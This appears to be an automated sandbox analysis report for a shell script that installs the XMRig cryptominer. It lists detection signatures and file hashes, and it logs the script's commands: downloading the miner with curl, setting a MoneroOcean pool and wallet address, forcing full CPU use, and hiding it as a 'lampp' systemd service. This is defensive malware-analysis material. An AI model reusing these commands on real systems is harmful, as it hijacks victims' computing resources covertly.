Analysis

  • max time kernel
    2s
  • max time network
    33s
  • platform
    ubuntu-24.04_amd64
  • resource
    ubuntu2404-amd64-20240523-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2404-amd64-20240523-enkernel:6.8.0-31-genericlocale:en-usos:ubuntu-24.04-amd64system
  • submitted
    01/07/2024, 12:07

General

  • Target
    script.sh
  • Size 8KB
  • Sample240701-pad1ss1aqf
  • SHA256 d97530313d2423ba8c3e87ccd3d66e6cd77997d26bbb4d1dd2a5f32827dde8cd
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Executes dropped EXE 1 IoCs
  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 45 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 24 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/script.sh
    /tmp/script.sh
    1⤵
    • Writes file to tmp directory
    PID:2493
    • /usr/bin/cut
      cut -f1 -d.
      2⤵
        PID:2497
      • /usr/bin/nproc
        nproc
        2⤵
          PID:2498
        • /usr/bin/bc
          bc -l
          2⤵
            PID:2501
          • /usr/bin/curl
            curl -L --progress-bar https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz -o /tmp/xmrig.tar.gz
            2⤵
            • Writes file to tmp directory
            PID:2502
          • /usr/bin/mkdir
            mkdir /root/lampp
            2⤵
              PID:2507
            • /usr/bin/tar
              tar xf /tmp/xmrig.tar.gz -C /root/lampp
              2⤵
                PID:2508
                • /usr/local/sbin/gzip
                  gzip -d
                  3⤵
                    PID:2509
                  • /usr/local/bin/gzip
                    gzip -d
                    3⤵
                      PID:2509
                    • /usr/sbin/gzip
                      gzip -d
                      3⤵
                        PID:2509
                      • /usr/bin/gzip
                        gzip -d
                        3⤵
                          PID:2509
                      • /usr/bin/rm
                        rm /tmp/xmrig.tar.gz
                        2⤵
                          PID:2510
                        • /usr/bin/sed
                          sed -i "s/\"donate-level\": *[^,]*,/\"donate-level\": 1,/" /root/lampp/config.json
                          2⤵
                            PID:2511
                          • /root/lampp/xmrig
                            /root/lampp/xmrig --help
                            2⤵
                            • Executes dropped EXE
                            • Checks hardware identifiers (DMI)
                            • Reads hardware information
                            • Checks CPU configuration
                            • Reads CPU attributes
                            • Enumerates kernel/hardware configuration
                            • Reads runtime system information
                            PID:2512
                          • /usr/bin/cut
                            cut -f1 -d.
                            2⤵
                              PID:2516
                            • /usr/bin/hostname
                              hostname
                              2⤵
                                PID:2515
                              • /usr/bin/sed
                                sed -r "s/[^a-zA-Z0-9\\-]+/_/g"
                                2⤵
                                  PID:2517
                                • /usr/bin/sed
                                  sed -i "s/\"url\": *\"[^\"]*\",/\"url\": \"gulf.moneroocean.stream:10001\",/" /root/lampp/config.json
                                  2⤵
                                  • Reads runtime system information
                                  PID:2518
                                • /usr/bin/sed
                                  sed -i "s/\"user\": *\"[^\"]*\",/\"user\": \"47zZneDdPNr63HM9ubMyrhYvLNbDunCkiia6fNCvQkThNuK6rrj59e3Y2nNF3ETeewbALAGYaiti4SF4ENwJ8bR7PKXXcMN\",/" /root/lampp/config.json
                                  2⤵
                                  • Reads runtime system information
                                  PID:2519
                                • /usr/bin/sed
                                  sed -i "s/\"pass\": *\"[^\"]*\",/\"pass\": \"ubuntu2404-amd64-20240523-en-2\",/" /root/lampp/config.json
                                  2⤵
                                    PID:2520
                                  • /usr/bin/sed
                                    sed -i "s/\"max-cpu-usage\": *[^,]*,/\"max-cpu-usage\": 100,/" /root/lampp/config.json
                                    2⤵
                                      PID:2521
                                    • /usr/bin/sed
                                      sed -i "s/\"max-threads-hint\": *[^,]*,/\"max-threads-hint\": 100,/" /root/lampp/config.json
                                      2⤵
                                        PID:2522
                                      • /usr/bin/sed
                                        sed -i "s#\"log-file\": *null,#\"log-file\": \"/root/lampp/xmrig.log\",#" /root/lampp/config.json
                                        2⤵
                                          PID:2523
                                        • /usr/bin/sed
                                          sed -i "s/\"syslog\": *[^,]*,/\"syslog\": true,/" /root/lampp/config.json
                                          2⤵
                                            PID:2524
                                          • /usr/bin/cp
                                            cp /root/lampp/config.json /root/lampp/config_background.json
                                            2⤵
                                              PID:2525
                                            • /usr/bin/sed
                                              sed -i "s/\"background\": *false,/\"background\": true,/" /root/lampp/config_background.json
                                              2⤵
                                                PID:2526
                                              • /usr/bin/cat
                                                cat
                                                2⤵
                                                  PID:2527
                                                • /usr/bin/chmod
                                                  chmod +x /root/lampp/miner.sh
                                                  2⤵
                                                    PID:2528
                                                  • /usr/bin/sudo
                                                    sudo -n true
                                                    2⤵
                                                      PID:2529
                                                      • /usr/bin/true
                                                        true
                                                        3⤵
                                                          PID:2530
                                                      • /usr/bin/awk
                                                        awk "{print \$2}"
                                                        2⤵
                                                          PID:2533
                                                        • /usr/bin/grep
                                                          grep MemTotal /proc/meminfo
                                                          2⤵
                                                            PID:2532
                                                          • /usr/bin/cat
                                                            cat
                                                            2⤵
                                                              PID:2534
                                                            • /usr/bin/sudo
                                                              sudo mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                              2⤵
                                                                PID:2535
                                                                • /usr/bin/mv
                                                                  mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                                  3⤵
                                                                    PID:2536
                                                                • /usr/bin/sudo
                                                                  sudo killall xmrig
                                                                  2⤵
                                                                  • Reads runtime system information
                                                                  PID:2537
                                                                  • /usr/bin/killall
                                                                    killall xmrig
                                                                    3⤵
                                                                    • Reads runtime system information
                                                                    PID:2538
                                                                • /usr/bin/sudo
                                                                  sudo systemctl daemon-reload
                                                                  2⤵
                                                                  • Reads runtime system information
                                                                  PID:2539
                                                                  • /usr/bin/systemctl
                                                                    systemctl daemon-reload
                                                                    3⤵
                                                                      PID:2540
                                                                  • /usr/bin/sudo
                                                                    sudo systemctl enable lampp.service
                                                                    2⤵
                                                                      PID:2665
                                                                      • /usr/bin/systemctl
                                                                        systemctl enable lampp.service
                                                                        3⤵
                                                                          PID:2666
                                                                      • /usr/bin/sudo
                                                                        sudo systemctl start lampp.service
                                                                        2⤵
                                                                          PID:2791
                                                                          • /usr/bin/systemctl
                                                                            systemctl start lampp.service
                                                                            3⤵
                                                                              PID:2792

                                                                        Network

                                                                              MITRE ATT&CK Enterprise v15

                                                                              Replay Monitor

                                                                              Loading Replay Monitor...

                                                                              Downloads

                                                                              config.json

                                                                              • Path /root/lampp/config.json
                                                                              • Size 2KB
                                                                              • SHA256 578386126ae451940ff5c21ce95b4e3be85c2d33160d6e739ed0ebbd206c7e81
                                                                              • MD5 SHA1 SHA512

                                                                              miner.sh

                                                                              • Path /root/lampp/miner.sh
                                                                              • Size 253B
                                                                              • SHA256 f572e87f0fc93c5a62023a572cf4c797c942d7618167752779854d6f73efa012
                                                                              • MD5 SHA1 SHA512

                                                                              sed8XQgy3

                                                                              • Path /root/lampp/sed8XQgy3
                                                                              • Size 2KB
                                                                              • SHA256 5cf89bb7fbef53cc5fbe582017145aa148ad8a8abc5bceee9f887ba4a6fcc46e
                                                                              • MD5 SHA1 SHA512

                                                                              sedICHNk8

                                                                              • Path /root/lampp/sedICHNk8
                                                                              • Size 2KB
                                                                              • SHA256 1d2c2d3bc7bc26a8c624b3fd0aac77aecb910a05e3340a8c3f26e2bd3e0ce0ab
                                                                              • MD5 SHA1 SHA512

                                                                              sedK0QtVx

                                                                              • Path /root/lampp/sedK0QtVx
                                                                              • Size 2KB
                                                                              • SHA256 d4f32b62c647bd21529ea386ea1cae87a1df2dd36bbab473935c827b104d917b
                                                                              • MD5 SHA1 SHA512

                                                                              sedKjmyTe

                                                                              • Path /root/lampp/sedKjmyTe
                                                                              • Size 2KB
                                                                              • SHA256 984513d85c8a81fbca982bd8c81a73344f39a4fe46bd9b982ed85c0ff6d1030f
                                                                              • MD5 SHA1 SHA512

                                                                              sedmIsMXP

                                                                              • Path /root/lampp/sedmIsMXP
                                                                              • Size 2KB
                                                                              • SHA256 d16384d5caa00e74981b245d2e0f601dd507e578acb92f15eaefbb45187837d0
                                                                              • MD5 SHA1 SHA512

                                                                              sedsdZBLq

                                                                              • Path /root/lampp/sedsdZBLq
                                                                              • Size 2KB
                                                                              • SHA256 f62988be84694fe64e417710ac9f85d7c7c49332d2166cade2faebbe0b1c96b9
                                                                              • MD5 SHA1 SHA512

                                                                              xmrig

                                                                              • Path /root/lampp/xmrig
                                                                              • Size 8.4MB
                                                                              • SHA256 0d01fa0b0823061061f01e8727931514516e4565b8b3aa56c2e1886cf4490df0
                                                                              • MD5 SHA1 SHA512 SSDEEP

                                                                              lampp.service

                                                                              • Path /tmp/lampp.service
                                                                              • Size 177B
                                                                              • SHA256 b32af10b7911d7113a1fe52ef467e7f123fb26552cae752ba52aef684b301fcf
                                                                              • MD5 SHA1 SHA512

                                                                              xmrig.tar.gz

                                                                              • Path /tmp/xmrig.tar.gz
                                                                              • Size 3.4MB
                                                                              • SHA256 80b1dc6f56a95273420dc96e837d7e1a9f42c057e319dadac0cccee4425319e0
                                                                              • MD5 SHA1 SHA512 SSDEEP